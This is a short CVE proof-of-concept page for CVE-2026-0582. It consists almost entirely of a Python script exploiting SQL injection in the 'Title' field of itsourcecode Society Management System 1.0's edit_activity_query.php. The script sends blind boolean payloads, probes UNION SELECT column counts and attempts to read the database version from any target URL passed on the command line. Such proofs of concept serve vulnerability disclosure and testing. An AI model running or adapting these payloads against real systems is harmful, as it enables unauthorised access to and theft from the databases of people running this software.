CVE-2026-0582: itsourcecode Society Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2026-0582 SQL Injection PoC # Target: itsourcecode Society Management System 1.0 # Endpoint: /admin/edit_activity_query.php # Parameter: Title def exploit_sqli(target_url, title_payload): """ Exploit SQL injection vulnerability in edit_activity_query.php Args: target_url: Base URL of the vulnerable application title_payload: Malicious SQL payload to inject Returns: Response from the server """ endpoint = f"{target_url}/admin/edit_activity_query.php" # Prepare the data payload with SQL injection data = { 'Title': title_payload, 'submit': 'Update' } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def basic_blind_sqli(target_url): """ Basic blind SQL injection test to verify vulnerability """ # True condition - should return normal response true_payload = "test' AND 1=1 -- -" # False condition - should behave differently if vulnerable false_payload = "test' AND 1=2 -- -" print(f"[*] Testing with payload: {true_payload}") resp_true = exploit_sqli(target_url, true_payload) print(f"[*] Testing with payload: {false_payload}") resp_false = exploit_sqli(target_url, false_payload) if resp_true != resp_false: print("[+] Vulnerability confirmed! SQL injection is possible.") else: print("[-] Vulnerability not detected or target not vulnerable.") def union_based_sqli(target_url): """ Union-based SQL injection to extract database information """ # Determine number of columns (adjust column count as needed) for i in range(1, 10): payload = f"test' UNION SELECT {'NULL,' * (i-1)} NULL -- -" print(f"[*] Testing {i} columns with: {payload}") resp = exploit_sqli(target_url, payload) if 'error' not in resp.lower() and 'warning' not in resp.lower(): print(f"[+] Found {i} columns") # Extract database version version_payload = f"test' UNION SELECT NULL,@@version-- -" print(f"[*] Extracting database version...") exploit_sqli(target_url, version_payload) break if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_0582_poc.py <target_url>") print("Example: python cve_2026_0582_poc.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 50) print("CVE-2026-0582 SQL Injection PoC") print("Target: itsourcecode Society Management System 1.0") print("=" * 50) basic_blind_sqli(target) union_based_sqli(target)